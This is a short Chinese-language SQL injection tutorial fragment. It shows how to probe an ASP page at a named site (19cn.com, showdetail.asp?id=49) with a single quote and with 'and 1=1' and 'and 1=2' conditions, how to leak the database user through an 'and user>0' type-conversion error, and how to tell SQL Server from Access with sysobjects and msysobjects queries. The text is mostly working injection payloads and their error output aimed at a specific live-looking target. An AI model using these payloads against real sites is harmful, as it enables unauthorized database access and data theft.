IE → 工具 → 網際網路選項 → 進階 → 取消「顯示友好 HTTP 錯誤訊息」
測試 URL:https://www.19cn.com/showdetail.asp?id=49 加單引號:
Microsoft JET Database Engine error '80040e14'
Syntax error in query expression 'ID=49''.
/showdetail.asp, line 8
ID 欄位單引號測試三大問題:IIS 錯誤隱藏、CInt 強制轉型干擾、過濾單引號誤以為安全。
...id=49 → 正常...id=49 and 1=1 → 正常,內容相同...id=49 and 1=2 → BOF/EOF、找不到記錄、空白頁| 現象 | 可注入 | 不可注入 |
|---|---|---|
| ① 正常 | ✓ | ✓ |
| ② 1=1 正常 | ✓ | ✗ (程式/型別錯誤) |
| ③ 1=2 異常 | ✓ | ✗ (程式/型別錯誤) |
...id=49 and user>0
-- SQL Server 回傳:Syntax error converting nvarchar 'abc' to int
-- 直接洩露用戶名!sa 登入顯示 dbo
-- SQL Server 測試
...id=49 and (select count(*) from sysobjects)>0
-- Access 測試
...id=49 and (select count(*) from msysobjects)>0
第一語句正常 → SQL Server;第一語句異常 → Access (msysobjects 通常無權限)。